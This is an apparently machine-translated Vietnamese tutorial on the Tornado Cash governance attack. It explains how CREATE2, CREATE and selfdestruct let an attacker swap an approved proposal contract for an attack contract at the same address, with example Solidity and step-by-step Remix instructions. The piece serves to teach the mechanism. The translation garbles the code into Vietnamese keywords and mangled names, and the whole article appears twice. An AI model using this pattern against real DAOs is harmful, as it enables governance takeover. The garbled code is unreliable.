Khoảng hai tuần trước (20 tháng 5), giao thức trộn tiền tệ nổi tiếng Tornado Cash đã bị tấn công quản trị và tin tặc đã giành được quyền kiểm soát (Chủ sở hữu) hợp đồng quản trị của Tornado Cash.
Quá trình tấn công như sau: trước tiên, kẻ tấn công gửi một đề xuất "trông bình thường", sau khi đề xuất được thông qua, sẽ phá hủy địa chỉ của hợp đồng sẽ được thực hiện bởi đề xuất và tạo lại một hợp đồng tấn công trên địa chỉ.
Đối với quy trình tấn công, bạn có thể xem Phân tích nguyên tắc tấn công đề xuất Tornado.Cash của SharkTeam [1] 。
Mấu chốt của cuộc tấn công ở đây là triển khai các hợp đồng khác nhau trên cùng một địa chỉ. Làm cách nào để đạt được điều này?
kiến thức nền tảng
Có hai opcodes trong EVM để tạo hợp đồng: CREATE và CREATE2.
TẠO mã lệnh
Khi sử dụng new Token() để sử dụng opcode CREATE, hàm tính toán địa chỉ hợp đồng đã tạo là:
mã thông báo địa chỉAddr = bytes20(keccak256(senderAddress, nonce))
Địa chỉ hợp đồng được tạo được xác định bởi creator address + creator Nonce (số lượng hợp đồng được tạo), vì Nonce luôn tăng dần, khi Nonce tăng thì địa chỉ hợp đồng được tạo luôn khác.
mã lệnh CREATE2
Khi thêm một mã thông báo muối mới{salt: bytes32()}(), opcode CREATE2 được sử dụng và hàm tính toán địa chỉ hợp đồng được tạo là:
địa chỉ tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
Địa chỉ của hợp đồng đã tạo là địa chỉ người tạo + muối tùy chỉnh + mã byte của hợp đồng thông minh sẽ được triển khai, vì vậy chỉ có thể sử dụng cùng một mã byte và cùng một giá trị muối. đến cùng một địa chỉ hợp đồng.
Vậy làm thế nào các hợp đồng khác nhau có thể được triển khai tại cùng một địa chỉ?
Phương thức tấn công
Kẻ tấn công sử dụng Create2 và Create cùng nhau để tạo hợp đồng, như thể hiện trong hình:
Mã được tham khảo từ:
Trước tiên, hãy sử dụng Create2 để triển khai Deployer hợp đồng, sau đó sử dụng Create trong Deployer để tạo Đề xuất hợp đồng mục tiêu (để sử dụng đề xuất). Cả hợp đồng Deployer và Proposal đều có triển khai tự hủy (selfdesturation).
Sau khi đề xuất được thông qua, kẻ tấn công sẽ hủy hợp đồng Deployer và Proposal, sau đó tạo lại Deployer với cùng một phương tiện chặn. Mã byte Deployer vẫn giữ nguyên và phương tiện chặn cũng vậy, do đó, cùng một địa chỉ hợp đồng Deployer như trước đây sẽ được lấy, nhưng tại thời điểm này Trạng thái của Deployer của hợp đồng bị xóa và nonce bắt đầu từ 0, do đó, một cuộc tấn công hợp đồng khác có thể được tạo bằng cách sử dụng nonce này.
Ví dụ mã tấn công
Mã này là từ:
// Mã định danh giấy phép SPDX: MIT
sự vững chắc thực dụng ^0.8.17;
hợp đồng DAO {
đề xuất cấu trúc {
mục tiêu địa chỉ;
bool đã được phê duyệt;
bool ted;
}
địa chỉ chủ sở hữu công khai = msg.sender;
Đề xuất[] đề xuất công khai;
chức năng phê duyệt (mục tiêu địa chỉ) bên ngoài {
yêu cầu (msg.sender == chủ sở hữu, "không được ủy quyền");
đề xuất.push (Đề xuất ({mục tiêu: mục tiêu, được phê duyệt: đúng, bị loại bỏ: sai}));
}
chức năng ute (uint256 đề xuấtId) phải trả bên ngoài {
Đề xuất lưu trữ đề xuất = đề xuất [proposalId] ;
yêu cầu (đề xuất. đã phê duyệt, "không được phê duyệt");
yêu cầu(!proposal.ated, "ted");
đề xuất.uted = true;
(bool ok, ) = đề xuất.đích.delegatecall(
abi.encodeWithSignature("uteProposal()")
);
yêu cầu (ok, "cuộc gọi ủy nhiệm thất bại");
}
}
đề xuất hợp đồng {
Nhật ký sự kiện (thông báo chuỗi);
chức năng uteProposal() bên ngoài {
phát ra Nhật ký ("Mã thực thi được DAO phê duyệt");
}
function EmergencyStop() bên ngoài {
tự hủy (phải trả (địa chỉ (0)));
}
}
tấn công hợp đồng {
Nhật ký sự kiện (thông báo chuỗi);
địa chỉ chủ sở hữu công cộng;
chức năng uteProposal() bên ngoài {
phát ra Nhật ký ("Mã thực thi không được DAO phê duyệt:)");
// Ví dụ - đặt chủ sở hữu của DAO thành kẻ tấn công
chủ sở hữu = msg.sender;
}
}
hợp đồng DeployerDeployer {
Nhật ký sự kiện (địa chỉ addr);
chức năng triển khai () bên ngoài {
muối byte32 = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt: salt}());
phát Nhật ký (addr);
}
}
người triển khai hợp đồng {
Nhật ký sự kiện (địa chỉ addr);
chức năng triển khaiProposal() bên ngoài {
địa chỉ addr = địa chỉ (Đề xuất mới ());
phát Nhật ký (addr);
}
chức năng triển khaiAttack() bên ngoài {
địa chỉ addr = address(new Attack());
phát Nhật ký (addr);
}
hàm kill() bên ngoài {
tự hủy (phải trả (địa chỉ (0)));
}
}
Bạn có thể sử dụng mã này để tự mình xem qua mã đó trong Remix.
Đầu tiên triển khai DeployerDeployer, gọi DeployerDeployer.deploy() để triển khai Deployer, sau đó gọi Deployer.deployProposal() để triển khai Đề xuất.
Sau khi nhận được địa chỉ hợp đồng đề xuất Đề xuất, hãy bắt đầu đề xuất với DAO.
Gọi Deployer.kill và Proposal.emergencyStop tương ứng để hủy Deployer và Proposal
Gọi DeployerDeployer.deploy() một lần nữa để triển khai Deployer, gọi Deployer.deployAttack() để triển khai Tấn công và Tấn công sẽ nhất quán với Đề xuất trước đó.
Khi thực hiện DAO.ute, cuộc tấn công đã được phép Chủ sở hữu của DAO.
Xem bản gốc
Nội dung chỉ mang tính chất tham khảo, không phải là lời chào mời hay đề nghị. Không cung cấp tư vấn về đầu tư, thuế hoặc pháp lý. Xem Tuyên bố miễn trừ trách nhiệm để biết thêm thông tin về rủi ro.
Tấn công quản trị lốc xoáy: Cách triển khai các hợp đồng khác nhau trên cùng một địa chỉ
Khoảng hai tuần trước (20 tháng 5), giao thức trộn tiền tệ nổi tiếng Tornado Cash đã bị tấn công quản trị và tin tặc đã giành được quyền kiểm soát (Chủ sở hữu) hợp đồng quản trị của Tornado Cash.
Quá trình tấn công như sau: trước tiên, kẻ tấn công gửi một đề xuất "trông bình thường", sau khi đề xuất được thông qua, sẽ phá hủy địa chỉ của hợp đồng sẽ được thực hiện bởi đề xuất và tạo lại một hợp đồng tấn công trên địa chỉ.
Đối với quy trình tấn công, bạn có thể xem Phân tích nguyên tắc tấn công đề xuất Tornado.Cash của SharkTeam [1] 。
Mấu chốt của cuộc tấn công ở đây là triển khai các hợp đồng khác nhau trên cùng một địa chỉ. Làm cách nào để đạt được điều này?
kiến thức nền tảng
Có hai opcodes trong EVM để tạo hợp đồng: CREATE và CREATE2.
TẠO mã lệnh
Khi sử dụng new Token() để sử dụng opcode CREATE, hàm tính toán địa chỉ hợp đồng đã tạo là:
mã thông báo địa chỉAddr = bytes20(keccak256(senderAddress, nonce))
Địa chỉ hợp đồng được tạo được xác định bởi creator address + creator Nonce (số lượng hợp đồng được tạo), vì Nonce luôn tăng dần, khi Nonce tăng thì địa chỉ hợp đồng được tạo luôn khác.
mã lệnh CREATE2
Khi thêm một mã thông báo muối mới{salt: bytes32()}(), opcode CREATE2 được sử dụng và hàm tính toán địa chỉ hợp đồng được tạo là:
địa chỉ tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
Địa chỉ của hợp đồng đã tạo là địa chỉ người tạo + muối tùy chỉnh + mã byte của hợp đồng thông minh sẽ được triển khai, vì vậy chỉ có thể sử dụng cùng một mã byte và cùng một giá trị muối. đến cùng một địa chỉ hợp đồng.
Vậy làm thế nào các hợp đồng khác nhau có thể được triển khai tại cùng một địa chỉ?
Phương thức tấn công
Kẻ tấn công sử dụng Create2 và Create cùng nhau để tạo hợp đồng, như thể hiện trong hình:
Trước tiên, hãy sử dụng Create2 để triển khai Deployer hợp đồng, sau đó sử dụng Create trong Deployer để tạo Đề xuất hợp đồng mục tiêu (để sử dụng đề xuất). Cả hợp đồng Deployer và Proposal đều có triển khai tự hủy (selfdesturation).
Sau khi đề xuất được thông qua, kẻ tấn công sẽ hủy hợp đồng Deployer và Proposal, sau đó tạo lại Deployer với cùng một phương tiện chặn. Mã byte Deployer vẫn giữ nguyên và phương tiện chặn cũng vậy, do đó, cùng một địa chỉ hợp đồng Deployer như trước đây sẽ được lấy, nhưng tại thời điểm này Trạng thái của Deployer của hợp đồng bị xóa và nonce bắt đầu từ 0, do đó, một cuộc tấn công hợp đồng khác có thể được tạo bằng cách sử dụng nonce này.
Ví dụ mã tấn công
Mã này là từ:
// Mã định danh giấy phép SPDX: MIT sự vững chắc thực dụng ^0.8.17; hợp đồng DAO { đề xuất cấu trúc { mục tiêu địa chỉ; bool đã được phê duyệt; bool ted; } địa chỉ chủ sở hữu công khai = msg.sender; Đề xuất[] đề xuất công khai; chức năng phê duyệt (mục tiêu địa chỉ) bên ngoài { yêu cầu (msg.sender == chủ sở hữu, "không được ủy quyền"); đề xuất.push (Đề xuất ({mục tiêu: mục tiêu, được phê duyệt: đúng, bị loại bỏ: sai})); } chức năng ute (uint256 đề xuấtId) phải trả bên ngoài { Đề xuất lưu trữ đề xuất = đề xuất [proposalId] ; yêu cầu (đề xuất. đã phê duyệt, "không được phê duyệt"); yêu cầu(!proposal.ated, "ted"); đề xuất.uted = true; (bool ok, ) = đề xuất.đích.delegatecall( abi.encodeWithSignature("uteProposal()") ); yêu cầu (ok, "cuộc gọi ủy nhiệm thất bại"); } } đề xuất hợp đồng { Nhật ký sự kiện (thông báo chuỗi); chức năng uteProposal() bên ngoài { phát ra Nhật ký ("Mã thực thi được DAO phê duyệt"); } function EmergencyStop() bên ngoài { tự hủy (phải trả (địa chỉ (0))); } } tấn công hợp đồng { Nhật ký sự kiện (thông báo chuỗi); địa chỉ chủ sở hữu công cộng; chức năng uteProposal() bên ngoài { phát ra Nhật ký ("Mã thực thi không được DAO phê duyệt:)"); // Ví dụ - đặt chủ sở hữu của DAO thành kẻ tấn công chủ sở hữu = msg.sender; } } hợp đồng DeployerDeployer { Nhật ký sự kiện (địa chỉ addr); chức năng triển khai () bên ngoài { muối byte32 = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: salt}()); phát Nhật ký (addr); } } người triển khai hợp đồng { Nhật ký sự kiện (địa chỉ addr); chức năng triển khaiProposal() bên ngoài { địa chỉ addr = địa chỉ (Đề xuất mới ()); phát Nhật ký (addr); } chức năng triển khaiAttack() bên ngoài { địa chỉ addr = address(new Attack()); phát Nhật ký (addr); } hàm kill() bên ngoài { tự hủy (phải trả (địa chỉ (0))); } }
Bạn có thể sử dụng mã này để tự mình xem qua mã đó trong Remix.